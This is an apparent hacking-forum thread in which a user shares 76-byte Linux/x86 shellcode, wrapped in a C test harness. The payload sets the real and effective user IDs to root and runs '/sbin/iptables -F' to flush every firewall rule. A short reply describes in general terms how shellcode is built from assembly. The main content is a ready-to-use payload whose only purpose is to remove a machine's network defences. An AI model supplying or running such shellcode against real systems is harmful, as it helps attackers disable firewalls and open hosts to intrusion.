Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (0)

Powered by Vanilla. Made with Bootstrap.
setreuid(0,0) -> execve(/sbin/iptables, -F, NULL) -> exit(0) - [76bytes]
  • Sh3llc0d3
    Posts: 1,910
    Just thought i'd add some of the code i've been submitting etc.

    /* 
    * Author: Sh3llc0d3
    * Environment: Linux/x86
    * Developed from: GNU ASM (AT&T Syntax)
    * Purpose: [setreuid()] -> [/sbin/iptables -F] -> [exit(0)]
    * Size: 76 bytes
    *
    */
    char code[] = "\xeb\x33\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x5e\x31\xc0\x88\x46"
    "\x0e\x88\x46\x11\x89\x76\x12\x8d\x5e\x0f\x89\x5e\x16\x89\x46\x1a\xb0"
    "\x0b\x89\xf3\x8d\x4e\x12\x8d\x56\x1a\xcd\x80\x31\xc0\xb0\x01\x31\xdb"
    "\xcd\x80\xe8\xc8\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x69\x70\x74\x61"
    "\x62\x6c\x65\x73\x23\x2d\x46\x23";

    int main(int argc, char **argv)
    {
    int (*func)();
    func = (int (*)()) code;
    (int)(*func)();
    }
  • Xin
    Posts: 3,251
    What do you use for this? I've never created my own shellcode before.
    Xin
  • Sh3llc0d3
    Posts: 1,910
    Just create the assembly code for what you want, so my asm code does whats in the title, then dump the opcode and then convert to shellcode. As long as you can create an assembly binary with no null bytes then creating the shellcode is easy.